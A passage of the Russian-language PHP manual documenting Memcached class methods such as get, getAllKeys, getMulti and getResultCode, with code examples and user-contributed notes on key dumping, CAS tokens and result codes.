Величина задержки в секундах перед аннулированием записей.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Используйте при необходимости Memcached::getResultCode().

Примеры

Пример #1 Пример использования Memcached::flush()

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

/* Очищает все записи через 10 секунд */
$m->flush(10);
?>

User Contributed Notes

There are no user contributed notes for this page.


Получение записи

  • « Memcached::flush
  • Memcached::getAllKeys »
  • PHP Manual
  • Memcached
  • Получение записи

Memcached::get

(PECL memcached >= 0.1.0)

Memcached::get — Получение записи

Описание

public Memcached::get(string $key, ?callable $cache_cb = null, int $get_flags = 0): mixed

Memcached::get() возвращает запись, которая ранее была сохранена под ключом key. Если элемент не найден и для параметра get_flags задано Memcached::GET_EXTENDED, то она также возвратит значение токена CAS для этой записи. Обратитесь к документации по Memcached::cas() для получения информации об использовании CAS токена. Чтение при помощи кеширующих callback-функций может быть использовано с помощью параметра cache_cb.

Список параметров

key

Ключ получаемой записи.

cache_cb

Функция обратного вызова для кешируемого чтения или null.

get_flags

Флаги, определяющие возвращаемый результат. Если задана константа Memcached::GET_EXTENDED, функция также возвратит токен CAS.

Возвращаемые значения

Возвращает значение хранимое в кеше или false в противном случае. Если в get_flags установлена константа, Memcached::GET_EXTENDED, возвращается массив, содержащий значение и токен CAS вместо единственного значения. Метод Memcached::getResultCode() возвращает Memcached::RES_NOTFOUND если переданный ключ не существует.

Список изменений

Версия | Описание
PECL memcached 3.0.0 | Удалён параметр &cas_token. Вместо него добавлен параметр get_flags, в который можно передать значение Memcached::GET_EXTENDED для того, чтобы был возвращён токен CAS.

Примеры

Пример #1 Пример использования Memcached::get() #1

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set('foo', 100);
var_dump($m->get('foo'));
?>

Результат выполнения данного примера:

int(100)

Пример #2 Пример использования Memcached::get() #2

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

if (!($ip = $m->get('ip_block'))) {
if ($m->getResultCode() == Memcached::RES_NOTFOUND) {
$ip = array();
$m->set('ip_block', $ip);
} else {
/* log error */
/* ... */
}
}
?>

Смотрите также

  • Memcached::getByKey() - Получает запись с определённого сервера
  • Memcached::getMulti() - Получает несколько записей
  • Memcached::getDelayed() - Запрашивает несколько записей

User Contributed Notes

letynsoft at gmail dot com 23-May-2017 10:58
As of some version of php7 (i was not able to determine which exactly).
The $cas_token is no longer valid argument. It has been removed in favor of flags argument, as it appears to be causing issues when subclassing the Memcached class.

See https://github.com/php-memcached-dev/php-memcached/pull/214 for more details.

Basically you need to
<?php
function memcacheGet($key, $cb = null, &$cas = null) {
  $m = memcacheGetObject();
  if(empty($m))
    return false;
  if(defined('Memcached::GET_EXTENDED')) {
    //Incompatible change in php7, took me 2 hours to figure this out, grrr
    $_o = $m->get($key, $cb, Memcached::GET_EXTENDED);
    $o = $_o['value'];
    $cas = $_o['cas'];
  } else {
    $o = $m->get($key, $cb, $cas);
  }
  return $o;
}
?>
denis_truffaut[A-T]hotmail[D-O-T]com 17-Jan-2011 06:01
Note that this function can return NULL as FALSE, so don't make checks with === FALSE as with the old Memcache class, because it won't work. :O

Use the not (!) operator and check the result code with getResultCode() as mentioned in the documentation :)
miha at hribar dot info 17-Jul-2009 01:31
This method also returns false in case you set the value to false, so in order to have a proper fault mechanism in place you need to check the result code to be certain that a key really does not exist in memcached.

<?php
$Memcached = new Memcached();
$Memcached->addServer('localhost', 11211);
$Memcached->set('key', false);
var_dump($Memcached->get('key'));       // boolean false
var_dump($Memcached->getResultCode());  // int 0 which is Memcached::RES_SUCCESS
?>

Or just make sure the values are not false :)


Получает все ключи, хранящиеся на серверах

  • « Memcached::get
  • Memcached::getByKey »
  • PHP Manual
  • Memcached
  • Получает все ключи, хранящиеся на серверах

Memcached::getAllKeys

(PECL memcached >= 2.0.0)

Memcached::getAllKeys — Получает все ключи, хранящиеся на серверах

Описание

public Memcached::getAllKeys(): array|false

Memcached::getAllKeys() отправляет запрос на каждый сервер и получает массив всех ключей, хранящихся на нем в данный момент. Это не атомарная операция, так что это не по-настоящему непротиворечивый снимок ключей в данный момент времени. Memcache не может гарантировать возврата всех ключей, вы также не можете полагаться на то, что все ключи были возвращены.

Замечание:

Метод предназначен для отладки и не должен использоваться в больших масштабах!

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает список ключей, хранящихся на всех серверах в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

danb1974 at gmail dot com 03-Aug-2020 06:55
The right way to dump slab keys seems to be by using lru_crawler metadump instead of stats cachedump, see https://github.com/memcached/memcached/issues/405

<?php

function getAllKeys(string $host, int $port): array
{
    $sock = fsockopen($host, $port, $errno, $errstr);
    if ($sock === false) {
        throw new Exception("Error connection to server {$host} on port {$port}: ({$errno}) {$errstr}");
    }

    if (fwrite($sock, "stats items\n") === false) {
        throw new Exception("Error writing to socket");
    }

    $slabCounts = [];
    while (($line = fgets($sock)) !== false) {
        $line = trim($line);
        if ($line === 'END') {
            break;
        }

        // STAT items:8:number 3
        if (preg_match('!^STAT items:(\d+):number (\d+)$!', $line, $matches)) {
            $slabCounts[$matches[1]] = (int)$matches[2];
        }
    }

    foreach ($slabCounts as $slabNr => $slabCount) {
        if (fwrite($sock, "lru_crawler metadump {$slabNr}\n") === false) {
            throw new Exception('Error writing to socket');
        }

        $count = 0;
        while (($line = fgets($sock)) !== false) {
            $line = trim($line);
            if ($line === 'END') {
                break;
            }

            // key=foobar exp=1596440293 la=1596439293 cas=8492 fetch=no cls=24 size=14908
            if (preg_match('!^key=(\S+)!', $line, $matches)) {
                $allKeys[] = $matches[1];
                $count++;
            }
        }

//        if ($count !== $slabCount) {
//            throw new Exception("Surprise, got {$count} keys instead of {$slabCount} keys");
//        }
    }

    if (fclose($sock) === false) {
        throw new Exception('Error closing socket');
    }

    return $allKeys;
}
harold at snel dot me 23-Apr-2019 08:59
/**
 * Get all memcached keys. Special function because getAllKeys() is broken since memcached 1.4.23. Should only be needed on php 5.6
 *
 * cleaned up version of code found on Stackoverflow.com by Maduka Jayalath
 *
 * @return array|int - all retrieved keys (or negative number on error)
 */
public function getMemcachedKeys($host = '127.0.0.1', $port = 11211)
{
    $mem = @fsockopen($host, $port);
    if ($mem === false)
    {
        return -1;
    }

    // retrieve distinct slab
    $r = @fwrite($mem, 'stats items' . chr(10));
    if ($r === false)
    {
        return -2;
    }

    $slab = [];
    while (($l = @fgets($mem, 1024)) !== false)
    {
        // finished?
        $l = trim($l);
        if ($l == 'END')
        {
            break;
        }

        $m = [];
        // <STAT items:22:evicted_nonzero 0>
        $r = preg_match('/^STAT\sitems\:(\d+)\:/', $l, $m);
        if ($r != 1)
        {
            return -3;
        }
        $a_slab = $m[1];

        if (!array_key_exists($a_slab, $slab))
        {
            $slab[$a_slab] = [];
        }
    }

    reset($slab);
    foreach ($slab as $a_slab_key => &$a_slab)
    {
        $r = @fwrite($mem, 'stats cachedump ' . $a_slab_key . ' 100' . chr(10));
        if ($r === false)
        {
            return -4;
        }

        while (($l = @fgets($mem, 1024)) !== false)
        {
            // finished?
            $l = trim($l);
            if ($l == 'END')
            {
                break;
            }

            $m = [];
            // ITEM 42 [118 b; 1354717302 s]
            $r = preg_match('/^ITEM\s([^\s]+)\s/', $l, $m);
            if ($r != 1)
            {
                return -5;
            }
            $a_key = $m[1];

            $a_slab[] = $a_key;
        }
    }

    // close the connection
    @fclose($mem);
    unset($mem);

    $keys = [];
    reset($slab);
    foreach ($slab AS &$a_slab)
    {
        reset($a_slab);
        foreach ($a_slab AS &$a_key)
        {
            $keys[] = $a_key;
        }
    }
    unset($slab);

    return $keys;
}
flaviu dot chelaru at gmail dot com 05-Feb-2017 08:58
// initiate the memcached instance
$cache = new \Memcached();
$cache->addServer('localhost', '11211');

// get all stored memcached items

$keys = $cache->getAllKeys();
$cache->getDelayed($keys);

$store = $cache->fetchAll();

// delete by regex keys

$keys = $cache->getAllKeys();
$regex = 'product_.*';
foreach($keys as $item) {
    if(preg_match('/'.$regex.'/', $item)) {
        $cache->delete($item);
    }
}
xiangku7890 at gmail dot com 24-Apr-2016 01:46
First I use the lastest memcached version 1.4.25, but unfortunately I found memcached::getAllkeys do not work with it, though i follow the others suggestion to disable Memcached::OPT_BINARY_PROTOCOL. So i try to use history versions, when i use memcached version 1.4.17, it works.
fykknd at 163 dot com 21-Dec-2015 08:11
I got this answer..
My libmemcached version is 1.0.18. php-memcached version is 2.2.0
In Libmemcached at memcache.h line 84:
 #define MAX_NUMBER_OF_SLAB_CLASSES (63 + 1)
Modify it to 201, compile again. It's ok.
?????????????libmemchaed????bug,
memcached_return_t??????for??,????200,??????64?????????
Cuchac 21-Jan-2015 07:27
This command returns always FALSE when binary protocol in use (Memcached::OPT_BINARY_PROTOCOL = true). Without binary protocol it works.


Получает запись с определённого сервера

  • « Memcached::getAllKeys
  • Memcached::getDelayed »
  • PHP Manual
  • Memcached
  • Получает запись с определённого сервера

Memcached::getByKey

(PECL memcached >= 0.1.0)

Memcached::getByKey — Получает запись с определённого сервера

Описание

public Memcached::getByKey(
string $server_key,
string $key,
?callable $cache_cb = null,
int $get_flags = 0
): mixed

Memcached::getByKey() работает аналогично Memcached::get(), за исключением того, что произвольный server_key может быть использован для определения сервера и установки значения с ключом key на конкретный сервер.

Список параметров

server_key

Ключ, идентифицирующий сервер, на котором хранится значение. Вместо хеширования по ключу самого элемента, мы хешируем по ключу сервера при выборе подключаемого сервера memcached. Данный подход позволяет группировать связанные элементы вместе на одном сервере, что улучшает эффективность групповых операций.

key

Ключ получаемой записи.

cache_cb

Callback-функция для кешируемого чтения или null

get_flags

Флаги определяющие возвращаемый результат. Если содержит Memcached::GET_EXTENDED, то будет возвращён токен CAS.

Возвращаемые значения

Возвращает значение хранимое в кеше или false в противном случае. Метод Memcached::getResultCode() возвращает Memcached::RES_NOTFOUND если переданный ключ не существует.

Список изменений

Версия | Описание
PECL memcached 3.0.0 | Удалён параметр &cas_token. Вместо него добавлен параметр get_flags, в который можно передать значение Memcached::GET_EXTENDED для того, чтобы был возвращён токен CAS.

Смотрите также

  • Memcached::get() - Получение записи
  • Memcached::getMulti() - Получает несколько записей
  • Memcached::getDelayed() - Запрашивает несколько записей

User Contributed Notes

There are no user contributed notes for this page.


Запрашивает несколько записей

  • « Memcached::getByKey
  • Memcached::getDelayedByKey »
  • PHP Manual
  • Memcached
  • Запрашивает несколько записей

Memcached::getDelayed

(PECL memcached >= 0.1.0)

Memcached::getDelayed — Запрашивает несколько записей

Описание

public Memcached::getDelayed(array $keys, bool $with_cas = false, ?callable $value_cb = null): bool

Memcached::getDelayed() запрашивает у memcache несколько записей, ключи которых переданы в массиве keys. Данный метод не дожидается ответа и возвращает значение сразу. Когда вы будете готовы получить записи, сделайте вызов метода Memcached::fetch() или Memcached::fetchAll(). Если параметр with_cas установлен в true, то CAS токены также будут запрошены.

Вместо получения результатов в явном виде, вы можете указать callback-функцию для получения результата с помощью параметра value_cb.

Список параметров

keys

Массив с ключами для запроса записей.

with_cas

Запрашивать ли CAS токены записей вместе со значениями.

value_cb

Callback-Функция, возвращающая результат, или null.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Используйте при необходимости Memcached::getResultCode().

Примеры

Пример #1 Пример использования Memcached::getDelayed()

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set('int', 99);
$m->set('string', 'a simple string');
$m->set('array', array(11, 12));

$m->getDelayed(array('int', 'array'), true);
var_dump($m->fetchAll());
?>

Результат выполнения данного примера:

array(2) {
  [0]=>
  array(3) {
    ["key"]=>
    string(3) "int"
    ["value"]=>
    int(99)
    ["cas"]=>
    float(2363)
  }
  [1]=>
  array(3) {
    ["key"]=>
    string(5) "array"
    ["value"]=>
    array(2) {
      [0]=>
      int(11)
      [1]=>
      int(12)
    }
    ["cas"]=>
    float(2365)
  }
}

Смотрите также

  • Memcached::getDelayedByKey() - Запрашивает несколько записей с указанного сервера
  • Memcached::fetch() - Извлекает следующий результат
  • Memcached::fetchAll() - Извлекает все полученные записи

User Contributed Notes

antmat at mail dot ru 18-Feb-2011 08:16
Actually, when you pass a callback, method doesn't return immediately, but waits for results and calls callback function.


Запрашивает несколько записей с указанного сервера

  • « Memcached::getDelayed
  • Memcached::getMulti »
  • PHP Manual
  • Memcached
  • Запрашивает несколько записей с указанного сервера

Memcached::getDelayedByKey

(PECL memcached >= 0.1.0)

Memcached::getDelayedByKey — Запрашивает несколько записей с указанного сервера

Описание

public Memcached::getDelayedByKey(
string $server_key,
array $keys,
bool $with_cas = false,
?callable $value_cb = null
): bool

Memcached::getDelayedByKey() работает аналогично Memcached::getDelayed(), за исключением того, что произвольный server_key может быть использован для определения сервера и установки значения с ключом key на конкретный сервер.

Список параметров

server_key

Ключ, идентифицирующий сервер, на котором хранится значение. Вместо хеширования по ключу самого элемента, мы хешируем по ключу сервера при выборе подключаемого сервера memcached. Данный подход позволяет группировать связанные элементы вместе на одном сервере, что улучшает эффективность групповых операций.

keys

Массив с ключами для запроса записей.

with_cas

Запрашивать ли CAS токены записей вместе со значениями.

value_cb

Callback-Функция, возвращающая результат, или null.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Используйте при необходимости Memcached::getResultCode().

Смотрите также

  • Memcached::getDelayed() - Запрашивает несколько записей
  • Memcached::fetch() - Извлекает следующий результат
  • Memcached::fetchAll() - Извлекает все полученные записи

User Contributed Notes

There are no user contributed notes for this page.


Получает несколько записей

  • « Memcached::getDelayedByKey
  • Memcached::getMultiByKey »
  • PHP Manual
  • Memcached
  • Получает несколько записей

Memcached::getMulti

(PECL memcached >= 0.1.0)

Memcached::getMulti — Получает несколько записей

Описание

public Memcached::getMulti(array $keys, int $get_flags = 0): array|false

Memcached::getMulti() работает аналогично методу Memcached::get(), но вместо одной записи получает несколько, ключи которых были переданы в массиве keys.

Замечание:

До версии 3.0 использовался второй аргумент &cas_tokens. Он заполнялся значениями токена CAS для найденных записей. Параметр &cas_tokens был удалён в версии 3.0. Он был заменён новым флагом Memcached::GET_EXTENDED, который указывается в параметре get_flags.

Параметр get_flags может использоваться для указания дополнительных настроек для метода Memcached::getMulti(). На данный момент поддерживаются, только следующие настройки: Memcached::GET_PRESERVE_ORDER гарантирует что записи будут возвращены в том же порядке, что и были запрошены. Memcached::GET_EXTENDED ведёт к тому, что также будут извлечены токены CAS.

Список параметров

keys

Массив ключей для запроса.

get_flags

Флаги для операции получения записей.

Возвращаемые значения

Возвращает массив найденных записей или false в случае возникновения ошибки. Используйте при необходимости Memcached::getResultCode().

Список изменений

Версия | Описание
PECL memcached 3.0.0 | Удалён параметр &cas_tokens. Добавлена константа Memcached::GET_EXTENDED для возврата токенов CAS.

Примеры

Пример #1 Пример использования Memcached::getMulti() версии 3

<?php
// Работает с версией модуля 3

$m = new Memcached();
$m->addServer('localhost', 11211);

$items = array(
'key1' => 'value1',
'key2' => 'value2',
'key3' => 'value3'
);
$m->setMulti($items);
$result = $m->getMulti(array('key1', 'key3', 'badkey'));
var_dump($result);
?>

Результатом выполнения данного примера будет что-то подобное:

array(2) {
  ["key1"]=>
  string(6) "value1"
  ["key3"]=>
  string(6) "value3"
}

Пример #2 Пример использования Memcached::getMulti() версий 1 и 2

<?php
// Работает с версиями модуля 1 и 2

$m = new Memcached();
$m->addServer('localhost', 11211);

$items = array(
'key1' => 'value1',
'key2' => 'value2',
'key3' => 'value3'
);
$m->setMulti($items);
$result = $m->getMulti(array('key1', 'key3', 'badkey'), $cas);
var_dump($result, $cas);
?>

Результатом выполнения данного примера будет что-то подобное:

array(2) {
  ["key1"]=>
  string(6) "value1"
  ["key3"]=>
  string(6) "value3"
}
array(2) {
  ["key1"]=>
  float(2360)
  ["key3"]=>
  float(2362)
}

Пример #3 Пример использования Memcached::GET_PRESERVE_ORDER с версией 3

<?php
// Работает с версией модуля 3

$m = new Memcached();
$m->addServer('localhost', 11211);

$data = array(
'foo' => 'foo-data',
'bar' => 'bar-data',
'baz' => 'baz-data',
'lol' => 'lol-data',
'kek' => 'kek-data',
);

$m->setMulti($data, 3600);

$keys = array_keys($data);
$keys[] = 'zoo';
$got = $m->getMulti($keys, Memcached::GET_PRESERVE_ORDER);

foreach ($got as $k => $v) {
echo "$k $v\n";
}
?>

Результатом выполнения данного примера будет что-то подобное:

foo foo-data
bar bar-data
baz baz-data
lol lol-data
kek kek-data
zoo

Пример #4 Пример использования Memcached::GET_PRESERVE_ORDER с версией 1 и 2

<?php
// Работает с версиями модуля 1 и 2

$m = new Memcached();
$m->addServer('localhost', 11211);

$data = array(
'foo' => 'foo-data',
'bar' => 'bar-data',
'baz' => 'baz-data',
'lol' => 'lol-data',
'kek' => 'kek-data',
);

$m->setMulti($data, 3600);

$null = null;
$keys = array_keys($data);
$keys[] = 'zoo';
$got = $m->getMulti($keys, $null, Memcached::GET_PRESERVE_ORDER);

foreach ($got as $k => $v) {
echo "$k $v\n";
}
?>

Результатом выполнения данного примера будет что-то подобное:

foo foo-data
bar bar-data
baz baz-data
lol lol-data
kek kek-data
zoo

Смотрите также

  • Memcached::getMultiByKey() - Получает несколько записей с указанного сервера
  • Memcached::get() - Получение записи
  • Memcached::getDelayed() - Запрашивает несколько записей

User Contributed Notes

gabriel dot maybrun at demandmedia dot com 04-Sep-2014 11:58
GOTCHA: Recently I was tasked with moving from PECL memcache to PECL memcached and ran into a major problem -- memcache and memcached serialize data differently, meaning that data written with one library can't necessarily be read with the other library.

For example, If you write an object or an array with memcache, it's interpreted as an integer by memcached.  If you write it with memcached, it's interpreted as a string by memcache.

tl;dr - You can't safely switch between memcache and memcached without a either a cache flush or isolated cache environments.

<?php
$memcache = new Memcache;
$memcacheD = new Memcached;
$memcache->addServer($host);
$memcacheD->addServers($servers);

$checks = array(
    123,
    4542.32,
    'a string',
    true,
    array(123, 'string'),
    (object)array('key1' => 'value1'),
);
foreach ($checks as $i => $value) {
    print "Checking WRITE with Memcache\n";
    $key = 'cachetest' . $i;
    $memcache->set($key, $value);
    usleep(100);
    $val = $memcache->get($key);
    $valD = $memcacheD->get($key);
    if ($val !== $valD) {
        print "Not compatible!";
        var_dump(compact('val', 'valD'));
    }

    print "Checking WRITE with MemcacheD\n";
    $key = 'cachetest' . $i;
    $memcacheD->set($key, $value);
    usleep(100);
    $val = $memcache->get($key);
    $valD = $memcacheD->get($key);
    if ($val !== $valD) {
        print "Not compatible!";
        var_dump(compact('val', 'valD'));
    }
}


Получает несколько записей с указанного сервера

  • « Memcached::getMulti
  • Memcached::getOption »
  • PHP Manual
  • Memcached
  • Получает несколько записей с указанного сервера

Memcached::getMultiByKey

(PECL memcached >= 0.1.0)

Memcached::getMultiByKey — Получает несколько записей с указанного сервера

Описание

public Memcached::getMultiByKey(string $server_key, array $keys, int $get_flags = 0): array|false

Memcached::getMultiByKey() работает аналогично Memcached::getMulti(), за исключением того, что произвольный server_key может быть использован для определения сервера и установки значения с ключом key на конкретный сервер.

Список параметров

server_key

Ключ, идентифицирующий сервер, на котором хранится значение. Вместо хеширования по ключу самого элемента, мы хешируем по ключу сервера при выборе подключаемого сервера memcached. Данный подход позволяет группировать связанные элементы вместе на одном сервере, что улучшает эффективность групповых операций.

keys

Массив с ключами для получения записей.

get_flags

Флаги для операции получения записей.

Возвращаемые значения

Возвращает массив найденных записей или false в случае возникновения ошибки. Используйте при необходимости Memcached::getResultCode().

Список изменений

Версия | Описание
PECL memcached 3.0.0 | Удалён параметр &cas_tokens. Добавлена константа Memcached::GET_EXTENDED для возврата токенов CAS.

Смотрите также

  • Memcached::getMulti() - Получает несколько записей
  • Memcached::get() - Получение записи
  • Memcached::getDelayed() - Запрашивает несколько записей

User Contributed Notes

There are no user contributed notes for this page.


Получает значение Memcached параметра

  • « Memcached::getMultiByKey
  • Memcached::getResultCode »
  • PHP Manual
  • Memcached
  • Получает значение Memcached параметра

Memcached::getOption

(PECL memcached >= 0.1.0)

Memcached::getOption — Получает значение Memcached параметра

Описание

public Memcached::getOption(int $option): mixed

Данный метод возвращает значение Memcached параметра, указанного в option. Некоторые параметры соответствуют тем, что определены в libmemcached, а некоторые являются специфическими для модуля. Обратитесь к разделу Memcached константы для получения дополнительной информации.

Список параметров

option

Одна из Memcached::OPT_* констант.

Возвращаемые значения

Возвращает значение запрашиваемого параметра, или false в случае возникновения ошибки.

Примеры

Пример #1 Получает значение Memcached параметра

<?php
$m = new Memcached();
var_dump($m->getOption(Memcached::OPT_COMPRESSION));
var_dump($m->getOption(Memcached::OPT_POLL_TIMEOUT));
?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)
int(1000)

Смотрите также

  • Memcached::getOption()
  • Memcached::setOption() - Устанавливает значение параметра для Memcached
  • Memcached Constants

User Contributed Notes

There are no user contributed notes for this page.


Возвращает результирующий код последней выполненной операции

  • « Memcached::getOption
  • Memcached::getResultMessage »
  • PHP Manual
  • Memcached
  • Возвращает результирующий код последней выполненной операции

Memcached::getResultCode

(PECL memcached >= 0.1.0)

Memcached::getResultCode — Возвращает результирующий код последней выполненной операции

Описание

public Memcached::getResultCode(): int

Memcached::getResultCode() возвращает одну из констант Memcached::RES_*, являющуюся результирующим кодом выполнения последнего Memcached метода.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Результирующий код последней выполненной операции Memcached.

Примеры

Пример #1 Пример использования Memcached::getResultCode()

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->add('foo', 'bar');
if ($m->getResultCode() == Memcached::RES_NOTSTORED) {
/* ... */
}
?>

User Contributed Notes

Anonymous 09-Jul-2013 12:56
00 = MEMCACHED_SUCCESS
01 = MEMCACHED_FAILURE
02 = MEMCACHED_HOST_LOOKUP_FAILURE // getaddrinfo() and getnameinfo() only
03 = MEMCACHED_CONNECTION_FAILURE
04 = MEMCACHED_CONNECTION_BIND_FAILURE // DEPRECATED see MEMCACHED_HOST_LOOKUP_FAILURE
05 = MEMCACHED_WRITE_FAILURE
06 = MEMCACHED_READ_FAILURE
07 = MEMCACHED_UNKNOWN_READ_FAILURE
08 = MEMCACHED_PROTOCOL_ERROR
09 = MEMCACHED_CLIENT_ERROR
10 = MEMCACHED_SERVER_ERROR // Server returns "SERVER_ERROR"
11 = MEMCACHED_ERROR // Server returns "ERROR"
12 = MEMCACHED_DATA_EXISTS
13 = MEMCACHED_DATA_DOES_NOT_EXIST
14 = MEMCACHED_NOTSTORED
15 = MEMCACHED_STORED
16 = MEMCACHED_NOTFOUND
17 = MEMCACHED_MEMORY_ALLOCATION_FAILURE
18 = MEMCACHED_PARTIAL_READ
19 = MEMCACHED_SOME_ERRORS
20 = MEMCACHED_NO_SERVERS
21 = MEMCACHED_END
22 = MEMCACHED_DELETED
23 = MEMCACHED_VALUE
24 = MEMCACHED_STAT
25 = MEMCACHED_ITEM
26 = MEMCACHED_ERRNO
27 = MEMCACHED_FAIL_UNIX_SOCKET // DEPRECATED
28 = MEMCACHED_NOT_SUPPORTED
29 = MEMCACHED_NO_KEY_PROVIDED /* Deprecated. Use MEMCACHED_BAD_KEY_PROVIDED! */
30 = MEMCACHED_FETCH_NOTFINISHED
31 = MEMCACHED_TIMEOUT
32 = MEMCACHED_BUFFERED
33 = MEMCACHED_BAD_KEY_PROVIDED
34 = MEMCACHED_INVALID_HOST_PROTOCOL
35 = MEMCACHED_SERVER_MARKED_DEAD
36 = MEMCACHED_UNKNOWN_STAT_KEY
37 = MEMCACHED_E2BIG
38 = MEMCACHED_INVALID_ARGUMENTS
39 = MEMCACHED_KEY_TOO_BIG
40 = MEMCACHED_AUTH_PROBLEM
41 = MEMCACHED_AUTH_FAILURE
42 = MEMCACHED_AUTH_CONTINUE
43 = MEMCACHED_PARSE_ERROR
44 = MEMCACHED_PARSE_USER_ERROR
45 = MEMCACHED_DEPRECATED
46 = MEMCACHED_IN_PROGRESS
47 = MEMCACHED_SERVER_TEMPORARILY_DISABLED
48 = MEMCACHED_SERVER_MEMORY_ALLOCATION_FAILURE
49 = MEMCACHED_MAXIMUM_RETURN /* Always add new error code before */
11 = MEMCACHED_CONNECTION_SOCKET_CREATE_FAILURE = MEMCACHED_ERROR
fredrik at neam dot se 27-Jul-2011 02:43
A more up to date and correct list of the result codes (Note that ERR_NO maps to 26 not 25 as stated above):

Memcached::OPT_COMPRESSION - -1001
Memcached::OPT_SERIALIZER - -1003
Memcached::SERIALIZER_PHP - 1
Memcached::SERIALIZER_IGBINARY - 2
Memcached::SERIALIZER_JSON - 3
Memcached::OPT_PREFIX_KEY - -1002
Memcached::OPT_HASH - 2
Memcached::HASH_DEFAULT - 0
Memcached::HASH_MD5 - 1
Memcached::HASH_CRC - 2
Memcached::HASH_FNV1_64 - 3
Memcached::HASH_FNV1A_64 - 4
Memcached::HASH_FNV1_32 - 5
Memcached::HASH_FNV1A_32 - 6
Memcached::HASH_HSIEH - 7
Memcached::HASH_MURMUR - 8
Memcached::OPT_DISTRIBUTION - 9
Memcached::DISTRIBUTION_MODULA - 0
Memcached::DISTRIBUTION_CONSISTENT - 1
Memcached::OPT_LIBKETAMA_COMPATIBLE - 16
Memcached::OPT_BUFFER_WRITES - 10
Memcached::OPT_BINARY_PROTOCOL - 18
Memcached::OPT_NO_BLOCK - 0
Memcached::OPT_TCP_NODELAY - 1
Memcached::OPT_SOCKET_SEND_SIZE - 4
Memcached::OPT_SOCKET_RECV_SIZE - 5
Memcached::OPT_CONNECT_TIMEOUT - 14
Memcached::OPT_RETRY_TIMEOUT - 15
Memcached::OPT_SEND_TIMEOUT - 19
Memcached::OPT_RECV_TIMEOUT - 15
Memcached::OPT_POLL_TIMEOUT - 8
Memcached::OPT_CACHE_LOOKUPS - 6
Memcached::OPT_SERVER_FAILURE_LIMIT - 21
Memcached::HAVE_IGBINARY - #&UNDEFINED;#
Memcached::HAVE_JSON - #&UNDEFINED;#
Memcached::GET_PRESERVE_ORDER - 1
Memcached::RES_SUCCESS - 0
Memcached::RES_FAILURE - 1
Memcached::RES_HOST_LOOKUP_FAILURE - 2
Memcached::RES_UNKNOWN_READ_FAILURE - 7
Memcached::RES_PROTOCOL_ERROR - 8
Memcached::RES_CLIENT_ERROR - 9
Memcached::RES_SERVER_ERROR - 10
Memcached::RES_WRITE_FAILURE - 5
Memcached::RES_DATA_EXISTS - 12
Memcached::RES_NOTSTORED - 14
Memcached::RES_NOTFOUND - 16
Memcached::RES_PARTIAL_READ - 18
Memcached::RES_SOME_ERRORS - 19
Memcached::RES_NO_SERVERS - 20
Memcached::RES_END - 21
Memcached::RES_ERRNO - 26
Memcached::RES_BUFFERED - 32
Memcached::RES_TIMEOUT - 31
Memcached::RES_BAD_KEY_PROVIDED - 33
Memcached::RES_CONNECTION_SOCKET_CREATE_FAILURE - 11
Memcached::RES_PAYLOAD_FAILURE - -1001


Возвращает сообщение, описывающее результат выполнения последней операции

  • « Memcached::getResultCode
  • Memcached::getServerByKey »
  • PHP Manual
  • Memcached
  • Возвращает сообщение, описывающее результат выполнения последней операции

Memcached::getResultMessage

(PECL memcached >= 1.0.0)

Memcached::getResultMessage — Возвращает сообщение, описывающее результат выполнения последней операции

Описание

public Memcached::getResultMessage(): string

Memcached::getResultMessage() возвращает строку, описывающую результирующий код выполнения последнего Memcached метода.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Сообщение, описывающее результат выполнения последней Memcached операции.

Примеры

Пример #1 Пример использования Memcached::getResultMessage()

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->add('foo', 'bar'); // первое добавление успешно выполнится
$m->add('foo', 'bar');
echo $m->getResultMessage(),"\n";
?>

Результат выполнения данного примера:

NOT STORED

User Contributed Notes

There are no user contributed notes for this page.


Получает информацию о сервере по ключу

  • « Memcached::getResultMessage
  • Memcached::getServerList »
  • PHP Manual
  • Memcached
  • Получает информацию о сервере по ключу

Memcached::getServerByKey

(PECL memcached >= 0.1.0)

Memcached::getServerByKey — Получает информацию о сервере по ключу

Описание

public Memcached::getServerByKey(string $server_key): array|false

Memcached::getServerByKey() возвращает информацию о сервере, который может быть выбран с помощью специального параметра server_key, который используется в Memcached::*ByKey() функциях.

Список параметров

server_key

Ключ, идентифицирующий сервер, на котором хранится значение. Вместо хеширования по ключу самого элемента, мы хешируем по ключу сервера при выборе подключаемого сервера memcached. Данный подход позволяет группировать связанные элементы вместе на одном сервере, что улучшает эффективность групповых операций.

Возвращаемые значения

Возвращает массив, содержащий следующие ключи: host, port, и weight в случае успешного выполнения или false в случае возникновения ошибки. Используйте при необходимости Memcached::getResultCode().

Примеры

Пример #1 Пример использования Memcached::getServerByKey()

<?php
$m = new Memcached();
$m->addServers(array(
array('mem1.domain.com', 11211, 40),
array('mem2.domain.com', 11211, 40),
array('mem3.domain.com', 11211, 20),
));

$m->setOption(Memcached::OPT_LIBKETAMA_COMPATIBLE, true);

var_dump($m->getServerByKey('user'));
var_dump($m->getServerByKey('log'));
var_dump($m->getServerByKey('ip'));
?>

Результатом выполнения данного примера будет что-то подобное:

array(3) {
  ["host"]=>
  string(15) "mem3.domain.com"
  ["port"]=>
  int(11211)
  ["weight"]=>
  int(20)
}
array(3) {
  ["host"]=>
  string(15) "mem2.domain.com"
  ["port"]=>
  int(11211)
  ["weight"]=>
  int(40)
}
array(3) {
  ["host"]=>
  string(15) "mem2.domain.com"
  ["port"]=>
  int(11211)
  ["weight"]=>
  int(40)
}

User Contributed Notes

morphles 17-Mar-2016 08:51
